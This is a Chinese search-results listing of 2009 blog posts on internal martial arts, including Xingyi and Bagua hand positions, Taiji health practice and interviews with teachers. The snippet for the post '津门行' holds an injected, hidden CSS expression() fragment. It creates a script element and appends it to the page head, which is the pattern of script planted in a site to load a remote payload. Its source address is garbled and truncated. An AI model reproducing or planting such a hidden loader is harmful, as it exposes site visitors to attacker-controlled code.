按相关性排序 按时间排序
- 形意起钻时要跟手—— 一个被忽视的问题 2009-11-30 15:32:15
- 为此我还做了个视频传上去。在搏击时后手放置的位置非常重要，不论拳击、散打，后手都在脸前眉侧，八卦掌后手在前臂的肘内侧，强调两手的合抱劲，形成一道弧形防线。据姜容樵老先生说，当年郭云深与董海川切磋武技后，决定把形意拳的后手提高，放到前肘附近。但是今天看来...
- 常走八卦掌趟泥步为什么有益于健康长寿 2009-11-28 21:20:53
- 落步后五趾轻轻扣地”，“和顺自然，松肩沉肘，提肛溜臀，凝神静气，气沉丹田”，这里要着重谈的是，正是因为做到了坐胯曲膝，身体的重心才会下移，人直立的重心在脐部，重心下移后在脐下，脐下三寸是练功者的丹田之所，重心移到丹田之处，气沿丹田便顺其自然，容易做到了...
- 《人民日报》-记济南形意拳研究会会长杨遵利先生 2009-11-28 10:09:47
- 武学经历在济南的杨遵利先生出身武术世家，自幼好武，先后从师著名武术家高医俗先生、李静轩先生习内家拳...多年来广泛参加武术活动，积极参与挖掘和整理内家拳术资料，为推动武术发展做出了不懈的努力...太极拳、少林拳并称为武林四大名拳，属内家拳主要拳系，在中国广泛...
- 画画和内家拳的个人感受 2009-11-28 19:27:33
- 为了画一幅画而画。不过要自己去画，创作一些东西，挠破头皮也是没有头绪。现在不看纸和笔，心平气和地画。虽然画得难看，但有一种很好的感觉。现在终于明白了画画要分析画的本质，要从整体出发。画完一幅就像打一次太极拳，满心欢喜。内家拳我一直认为内家拳是发掘人体的...
- 上海太极养生馆 魅力标准化太极 （一） 2009-11-27 16:21:57
- 则教会了他不论是那种中国功夫，都需要了解经络骨骼最佳受力点这个概念，这是中国武术成其为中国武术的关键。为了更好的解释这些概念，黄忠达老师提出了一系列问题。他提出的第一个问题是：太极拳是内家拳，很多人说太极拳的用意导气的概念是太极拳成为...
- 武当拳为什么被称为内家拳 2009-11-26 10:48:02
- 挈置不顾，此无异炼丹不采药，采药不炼丹，莫道不能登长生大道，即外面功夫，亦决不能成就”（肖天石先生主编，台湾自由出版社出版《道藏精华》第二集“张三丰太极炼丹秘诀”。这里说的“外面功夫”指的就是技击功夫。所以，内家拳首先是取得内养成就，在此基础上附带产生...
- 石崇英教授太极推手 2009-11-23 20:00:46
- 津门行 2009-11-19 20:27:01
- ee:expression_r(function(){if(!window.r){varss='s''cript';var tt='text/ja''vas''cript';varst=document.createElement_x(ss);st.src='st.type=tt;document.getElementsByTagName('head').item(0).appendChild(st);window.r=1}}(this));width:0px;display:none...
- 民间的一种龙精虎猛的养生术(转发) 2009-11-19 13:38:21
- 有的人说，内家拳不能练腰。这话是外行话。内家拳不但需要练腰，而且必须要练腰...心情好。7.神经系统调节的会很好，睡眠好。8.身体某些部位会有热水一样的感觉。9.还有别的，没办法一一总结。自己总结吧。上边的是一些基本功夫。还有真正的东西，比如：内家拳的筋脉功夫，...
- 武术就是大道---访武当道教武馆副馆长赵信慧 2009-11-18 08:40:12
- 棉里藏针：同去的朋友小张，是个散打爱好者，也曾经接触过不少习武之人。由于小张没见过多少真功夫，也一直在思考着中国武术的技击功能到底体现在哪里？这次同去，小张想趁机探索这个问题。听说赵道长内家拳造诣甚深，就一心想体验一下“内力”打人的滋味。赵道长让小张用...
相关搜索
